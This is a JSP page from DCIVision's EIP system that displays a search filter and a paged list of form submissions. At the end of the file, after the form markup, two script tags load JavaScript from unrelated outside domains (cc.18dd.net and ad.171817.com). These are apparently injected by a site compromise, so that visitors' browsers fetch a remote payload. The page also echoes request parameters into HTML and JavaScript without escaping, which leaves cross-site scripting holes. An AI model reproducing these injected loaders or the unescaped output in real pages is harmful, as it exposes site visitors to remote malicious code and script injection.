<%
/*
 * @(#)ListFormSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  SearchSubmission.jsp

  This is a ListFormSubmission page.  It shows the active form submission's record in EIP.

    @author             Vera Wang
    @company            DCIVision Ltd
    @creation date      25/02/2004
    @version            $Revision: 1.23.2.17 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>
<%
  int basicSearchFieldRowValue = 1,selectionSearchFieldRowValue=1,datePickerSearchFieldRowValue=1;
  basicSearchFieldRowValue = (!Utility.isEmpty(request.getParameter("basicSearchFieldRowValue")) && !"null".equals(request.getParameter("basicSearchFieldRowValue"))) ? new Integer(request.getParameter("basicSearchFieldRowValue")).intValue() : 1;
  selectionSearchFieldRowValue = (!Utility.isEmpty(request.getParameter("selectionSearchFieldRowValue")) && !"null".equals(request.getParameter("selectionSearchFieldRowValue"))) ? new Integer(request.getParameter("selectionSearchFieldRowValue")).intValue() : 1;
  datePickerSearchFieldRowValue = (!Utility.isEmpty(request.getParameter("datePickerSearchFieldRowValue")) && !"null".equals(request.getParameter("datePickerSearchFieldRowValue"))) ? new Integer(request.getParameter("datePickerSearchFieldRowValue")).intValue() : 1;

%>

<script language="JavaScript">
<!--
function OpSearch(frm, sortValue, sortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  frm.operationType.value="";
  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;
  if (!searchFormValidate(frm)) return (false);

  frm.submit();
  return false;
}

function searchFormValidate(frm) {
  if (compareDate(frm.fromDate, frm.toDate, true) > 0) {
    alert("<bean:message key='errors.calendar.start_day_must_be_less_than_end_day'/>");
    return false;
  }
  return true;
}

function OpReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  frm.basicSearchFieldRowValue.value = 1;
  frm.selectionSearchFieldRowValue.value = 1;
  frm.datePickerSearchFieldRowValue.value = 1;
  <%if ("FORMMONITOR".equals(request.getParameter("function"))){%>
    frm.searchSubmitter.value="";
  <%}%>
  //if (frm.searchFormType){
    //frm.searchFormType.checked=false;
  //}
  if (<%=basicSearchFieldRowValue%> >1 ) {
    for (var i = 0; i < <%=basicSearchFieldRowValue%>; i++) {
       frm.basicSearchField[i].value="";
       frm.basicSearchType[i].value="";
       frm.basicSearchKeyword[i].value="";
    }
  }else{
     frm.basicSearchField.value="";
     frm.basicSearchType.value="";
     frm.basicSearchKeyword.value="";
  }
  if (<%=selectionSearchFieldRowValue%> >1 ) {
    for (var i = 0; i < <%=selectionSearchFieldRowValue%>; i++) {
       frm.selectionSearchField[i].value="";
       frm.selectionSearchKeyword[i].value="";
    }
  }else{
     frm.selectionSearchField.value="";
     frm.selectionSearchKeyword.value="";
  }
  if (<%=datePickerSearchFieldRowValue%> >1 ) {
    for (var i = 0; i < <%=datePickerSearchFieldRowValue%>; i++) {
       frm.datePickerSearchField[i].value="";
       frm.elements['datePickerSearchKeywordFrom_'+(i+1)].value="";
       frm.elements['datePickerSearchKeywordTo_'+(i+1)].value="";
    }
  }else{
     frm.datePickerSearchField.value="";
     frm.datePickerSearchKeywordFrom_1.value="";
     frm.datePickerSearchKeywordTo_1.value="";
  }
  frm.curStartRowNo.value = 1;
  frm.operationType.value="";
  frm.navMode.value = NAV_MODE_LIST;

  frm.submit();
  return false;
}
function opAddFieldsMid(fieldName){
    document.all(fieldName).value=parseInt(document.all(fieldName).value)+1;
    document.all("opMode").value ="<%=GlobalConstant.NAV_MODE_REFRESH%>";
    document.listFormSubmissionForm.operationType.value="";
    document.listFormSubmissionForm.submit();
    return false;
}
function opChangeSelect(nnn,which){
    document.listFormSubmissionForm.elements['selectionSearchField_'+nnn].value=(which.selectedIndex)-1;
    document.listFormSubmissionForm.operationType.value="";
    document.listFormSubmissionForm.submit();
}
function OpCustExportExcel(){
  document.listFormSubmissionForm.operationType.value="<%=FormRecord.EXPORT_EXCEL_FILE%>";
  document.listFormSubmissionForm.submit();
  //bill add for EIP-1092_1 start
  document.listFormSubmissionForm.operationType.value="";
  //bill add for EIP-1092_1 end
}
-->
</script>

<%
  if (!Utility.isEmpty(request.getParameter("formDocID")) ) {
  session.setAttribute("formDocID",request.getParameter("formDocID"));
  }
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer FMB_TRACK = new Integer("7002");
  Integer FMB_MONITOR = new Integer("7005");
  String permissionTrackStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,FMB_TRACK);
  String permissionMonitorStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,FMB_MONITOR);
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formSubmissionListByFormRecordID";
  String	opMode = listFormSubmissionForm.getOpMode();

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                            {"form.columnheader.submitted_by", "UPDATER_ID"},
                            {"form.columnheader.submit_date", "UPDATE_DATE"},
                            {"form.columnheader.submission_status", "STATUS"}
                          };

  /*String[][]  LABEL_MAP_FORM_MONITOR = { {"ID", "ID"},
                            {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "STEP_NAME"},
                            {"form.columnheader.submitted_by", "UPDATER_ID"},
                            {"form.columnheader.submit_date", "UPDATE_DATE"},
                            {"form.columnheader.submission_status", "STATUS"}
                          };*/

  String[][] SEARCH_MAP = { {"workflow.label.group_name", "GROUP_NAME"},
                            {"workflow.label.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 2;

  Locale currLoc = (Locale)pageContext.getSession().getAttribute(org.apache.struts.Globals.LOCALE_KEY);
  String[] asName = new String[] { "LIKE", "LIKE ", "=", "<>", ">=", ">", "<", "<=" };
  String[] asLabelName = new String[] { MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.contains"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.starts_with"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.equals"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.not_equals"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.greater_than_or_equals"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.greater_than"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.less_than"),
                               MessageResourcesFactory.getMessage(currLoc,"common.options.criteria.less_than_or_equals")
                                 };

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;
  String functionType="common.label.form_action_list";
  if("FORMMONITOR".equals(request.getParameter("function"))){
    sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
  }
  session.setAttribute("formSubmissionListByFormRecordID",request.getAttribute("formSubmissionListByFormRecordID"));
  // get search element list.
  List searchElementListByTextBox = new ArrayList();
  List searchElementListByDatePicker = new ArrayList();
  List searchElementListBySelection =  new ArrayList();
  FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer, conn);
  if (!"FORMMONITOR".equals(request.getParameter("function"))){
     searchElementListByTextBox = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),listFormSubmissionForm.getWorkflowRecordID(),FormElementType.ELEMENT_TEXT);
     searchElementListByDatePicker = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),listFormSubmissionForm.getWorkflowRecordID(),FormElementType.ELEMENT_DATE_PICKER);
     searchElementListBySelection = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),listFormSubmissionForm.getWorkflowRecordID(),FormElementType.ELEMENT_SELECTION_BOX);
  }else {
     searchElementListByTextBox = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),"",FormElementType.ELEMENT_TEXT);
     searchElementListByDatePicker = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),"",FormElementType.ELEMENT_DATE_PICKER);
     searchElementListBySelection = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),"",FormElementType.ELEMENT_SELECTION_BOX);
  }
  //FormSelectionField formSelectionField = null;
  List formSelectionFieldOptionList = new ArrayList();

  Timestamp tmpTime = Utility.getCurrentTimestamp();
  Timestamp currTime = new Timestamp(tmpTime.getTime() - 24*60*60*1000L);

  String[] textSearchField=request.getParameterValues("basicSearchField");
  String[] textSearchType = request.getParameterValues("basicSearchType");
  String[] textSearchKeyword=request.getParameterValues("basicSearchKeyword");
  String[] selectionSearchField=request.getParameterValues("selectionSearchField");
  String[] selectionSearchKeyword=request.getParameterValues("selectionSearchKeyword");
  String[] datePickerSearchField=request.getParameterValues("datePickerSearchField");

  String returnURL="";
  if ("FORMSUBMISSION".equals(request.getParameter("function")) ) {
      returnURL="ListFormSubmissionDetail.do?formRecordID="+request.getParameter("formRecordID")+"&navMode=V&function=ListFormSubmission&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMMONITOR".equals(request.getParameter("function")) ) {
	  returnURL="ListFormMonitoringDetail.do?formRecordID="+request.getParameter("formRecordID")+"&formRecordTitle="+request.getParameter("formRecordTitle")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<!-- Form Section Begin -->
<html:form action="form/SearchSubmission" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="formRecordID"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="displayFormat"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="basicSearchFieldRowValue" value="<%=basicSearchFieldRowValue%>"/>
<input type="hidden" name="selectionSearchFieldRowValue" value="<%=selectionSearchFieldRowValue%>"/>
<input type="hidden" name="datePickerSearchFieldRowValue" value="<%=datePickerSearchFieldRowValue%>"/>
<input type="hidden" name="operationType" />


<!-- Search Panel Begin -->
<layout:listBar>
    <div class="button">
        <layout:returnButton className="btn-colheader" returnURL="<%=returnURL%>"/>
		<%
        List result = (List)request.getAttribute(LIST_NAME);
        if (result.size()>0) {
        %>
        <html:colheaderButton label="dms.message.document_Excel_export_mode" onClick="return OpenCenteredPopup('SearchSubmission.do?navMode=LFT&SHOW_HEADER_FOOTER=N&formRecordID=${param.formRecordID}','DCIVisionForm',800,600,'scrollbars=yes,width=400,height=200,toolbar=no,status=no,directories=no,menubar=no,resizable=yes')"/>
      <%}%>
	</div>
    <layout:filterControl/>
    </layout:listBar>

<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table width="100%">
   <tr>
   <td class="filterPanelSmallItem" nowrap>
  <bean:message key='log.columnheader.event_date'/>:
  </td>
  <td class="filterPanelItem" nowrap>
  <bean:message key='common.label.period_from'/>:
  <html:datepicker property="fromDate"/>
  </td>
  <td class="filterPanelItem" nowrap>
  <bean:message key='common.label.period_to'/>:
  <html:datepicker property="toDate"/>
  </td>
  <td></td>
  </tr>

  <%if ("FORMMONITOR".equals(request.getParameter("function"))){%>
   <tr>
      <td class="filterPanelItem" nowrap colspan="4">
      <%if(!Utility.isEmpty(permissionMonitorStr) && permissionMonitorStr.indexOf("R") > -1 ){ %>
          <b><bean:message key='workflow.search.submitter'/>:</b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <html:userpicker property='searchSubmitter'/>
      <%}%>
   <%       
       if(!Utility.isEmpty(permissionTrackStr) && permissionTrackStr.indexOf("R") > -1 ){   
   %>
        <html:radio property='searchFormType' value='1' ><bean:message key="form.search.show_my_form_only"/></html:radio>  
      <%}%>
    </td>
  </tr>
<%}%>

  <!-- Text Box -->
 <%for (int n=1;n<=basicSearchFieldRowValue;n++){ %>
    <tr>
    <td class="filterPanelSmallItem" nowrap>
      <bean:message key='form.search.is_text'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%

      for (int i=0; i<searchElementListByTextBox.size(); i++) {
        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElementListByTextBox.get(i);
        String selected = "";
        if (!Utility.isEmpty(textSearchField)){
          if(n<=(textSearchField.length) && tmpFormElement.getID().toString().equals(textSearchField[n-1].toString())) {
            selected = "selected";
          }
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>
	  </td>
	  <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType'>
      <%for (int i=0; i<asName.length; i++) {
          String selected = "";
          if (!Utility.isEmpty(textSearchType)){
            if(n<=(textSearchType.length) && asName[i].toString().equals(textSearchType[n-1].toString())) {
              selected = "selected";
            }
          }
       %>
         <option value="<%=asName[i]%>" <%=selected%>><%=asLabelName[i]%></option>
     <%}%>
     </html:select>
     </td>
	 <td class="filterPanelItem" nowrap>
      <%
        String keywordValue = "";
        if (!Utility.isEmpty(textSearchKeyword) && n<=(textSearchKeyword.length)){
          keywordValue = textSearchKeyword[n-1];
        }
      %>
      <input type="text" name="basicSearchKeyword" value="<%=keywordValue%>"/>
      <a href="#" onClick="return opAddFieldsMid('basicSearchFieldRowValue');"><img src="../theme/pref1/img/common/IconMiniAdd.gif" align="absmiddle" border="0"></a>
     </td>
    </tr>
  <%}%>

  <!-- Select Box -->
  <%for (int nnn=1;nnn<=selectionSearchFieldRowValue;nnn++){ %>
    <tr>
    <td class="filterPanelSmallItem" nowrap>
      <bean:message key='form.search.is_selection'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <select name="selectionSearchField" onchange="javascript:opChangeSelect('<%=nnn%>',this)">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%
      for (int i=0; i<searchElementListBySelection.size(); i++) {
        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElementListBySelection.get(i);
        String selected = "";
        if (!Utility.isEmpty(selectionSearchField)){
          if(nnn<=(selectionSearchField.length) && tmpFormElement.getID().toString().equals(selectionSearchField[nnn-1].toString())) {
            selected = "selected";
          }
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </select>
      <input type="hidden" name="selectionSearchField_<%=nnn%>" value='<%=request.getParameter("selectionSearchField_"+nnn)%>' >
     </td>
     <td class="filterPanelItem" nowrap>
      <html:select property="selectionSearchKeyword">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>

      <%
      int selectionSearchFieldValue = !Utility.isEmpty(request.getParameter("selectionSearchField_"+nnn)) && !"null".equals(request.getParameter("selectionSearchField_"+nnn)) ? new Integer(request.getParameter("selectionSearchField_"+nnn)).intValue() : -1;
      if (selectionSearchFieldValue>-1){
        FormElement tmpFormElement2 = (FormElement)searchElementListBySelection.get(selectionSearchFieldValue);
        FormSelectionField formSelectionField = tmpFormElement2.getFormSelectionField();
        formSelectionFieldOptionList = formSelectionField.getFormSelectionFieldOptionList();
      }

      for (int k=0; k<formSelectionFieldOptionList.size(); k++) {
        FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) formSelectionFieldOptionList.get(k);

        String optionSelected = "";
        if (!Utility.isEmpty(selectionSearchKeyword)){
          if(nnn<=(selectionSearchKeyword.length) && tmpFormSelectionFieldOption.getStartValue().toString().equals(selectionSearchKeyword[nnn-1].toString())) {
            optionSelected = "selected";
          }
        }
        %>
      <option value="<%=tmpFormSelectionFieldOption.getStartValue()%>" <%=optionSelected%>><%=tmpFormSelectionFieldOption.getLabel()%></option>
    <%}%>
      </html:select>
      <a href="#" onClick="return opAddFieldsMid('selectionSearchFieldRowValue');"><img src="../theme/pref1/img/common/IconMiniAdd.gif" align="absmiddle" border="0"></a>
     </td>
	 <td></td>
    </tr>
  <%}%>
    <!-- Date Picker -->
  <%for (int nn=1;nn<=datePickerSearchFieldRowValue;nn++){%>
    <tr>
    <td class="filterPanelSmallItem" nowrap>
      <bean:message key='form.search.is_datepicker'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="datePickerSearchField">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%

      for (int i=0; i<searchElementListByDatePicker.size(); i++) {

        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElementListByDatePicker.get(i);
        String selected = "";
        if (!Utility.isEmpty(datePickerSearchField)){
          if(nn<=(datePickerSearchField.length) && tmpFormElement.getID().toString().equals(datePickerSearchField[nn-1].toString())) {
            selected = "selected";
          }
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>
	  </td>
	  <td class="filterPanelItem" nowrap>
      <%
        String fromDateValue = "";
        String toDateValue = "";
        String datePickerSearchKeywordFrom = request.getParameter("datePickerSearchKeywordFrom_"+nn);
        String datePickerSearchKeywordTo = request.getParameter("datePickerSearchKeywordTo_"+nn);
        if (!Utility.isEmpty(datePickerSearchKeywordFrom) && !"null".equals(datePickerSearchKeywordFrom)){
          fromDateValue = TextUtility.parseDBDateTime(datePickerSearchKeywordFrom);
        }
        if (!Utility.isEmpty(datePickerSearchKeywordTo)&& !"null".equals(datePickerSearchKeywordTo)){
          toDateValue = TextUtility.parseDBDateTime(datePickerSearchKeywordTo);
        }
      %>
      <input type="hidden" name="datePickerSearchKeywordFrom_<%=nn%>" value="<%=fromDateValue%>" >
      <bean:message key='common.label.period_from'/>:
	  <input type="text" name="dummy_datePickerSearchKeywordFrom_<%=nn%>" maxlength="10" size="10" value="<%=fromDateValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>'));">
      <a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_datePickerSearchKeywordFrom_<%=nn%>,datePickerSearchKeywordFrom_<%=nn%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>',true);">
      <html:img src='IconCalendar.gif'  imageName='imgCalendar_datePickerSearchKeywordFrom' align='absmiddle' width='34' height='21' border='0' alt=''/></a>
	  </td>
	  <td class="filterPanelItem" nowrap>
       <bean:message key='common.label.period_to'/>:
      <input type="hidden" name="datePickerSearchKeywordTo_<%=nn%>" value="<%=toDateValue%>" >
      <input type="text" name="dummy_datePickerSearchKeywordTo_<%=nn%>" maxlength="10" size="10" value="<%=toDateValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>'));">
      <a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_datePickerSearchKeywordTo_<%=nn%>,datePickerSearchKeywordTo_<%=nn%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10).toLowerCase()%>',true);">
      <html:img src='IconCalendar.gif'  imageName='imgCalendar_datePickerSearchKeywordTo' align='absmiddle' width='34' height='21' border='0' alt=''/></a>

    <a href="#" onClick="return opAddFieldsMid('datePickerSearchFieldRowValue');"><img src="../theme/pref1/img/common/IconMiniAdd.gif" align="absmiddle" border="0"></a>
     </td>
    </tr>
  <%}%>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpSearch(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}'))"/>
   <html:standardButton label="common.label.remove_filter" onClick="return OpReset(listFormSubmissionForm)"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" editColumn='false' copyColumn='false' checkColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="30">
  <%if (!Utility.isEmpty(session.getAttribute("formDocID")) && !"null".equals(session.getAttribute("formDocID"))){%>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=V&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&type=listFormSubmissionDetail&formDocID=<%=session.getAttribute("formDocID")%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
  <%}else{%>
        <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=<%=request.getParameter("function")%>&functionFrom=SearchSubmission&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>"><html:img src='IconView.gif'  align='absmiddle'/></a>
        <%}%>
    </td>
    <td width="300" ><bean:write name='formSubmission' property='updaterName'/>
   <%
      List wfRelationRow = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
      for (int x = 0; x < wfRelationRow.size(); x++) {
        com.dcivision.workflow.bean.WorkflowRecord wfRec = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRow.get(x))[0];
        Integer trackID = (Integer)((Object[])wfRelationRow.get(x))[1];
        String wfMsg = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.related_to_workflow", wfRec.getWorkflowCode() + " - " + wfRec.getDescription() + " (" + wfRec.getWorkflowVersion() + ")"));
        %><a href="#" onmouseover="return getPopupInfo('<%=wfMsg%>')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=wfRec.getID()%>&trackID=<%=trackID%>', 'DCIVisionWFRelation', 750, 500, 'scrollbars=yes')"><html:img src='IconWorkflowRelated.gif' /></a>
        <%
      }
      %>

    </td>
    <td><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td>
       <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
       <bean:message key='form.label.submission_status_S'/>
      </logic:equal>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
       <bean:message key='form.label.submission_status_M'/>
      </logic:equal>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
       <bean:message key='form.label.submission_status_P'/>
      </logic:equal>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
       <bean:message key='form.label.submission_status_C'/>
      </logic:equal>
    </td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>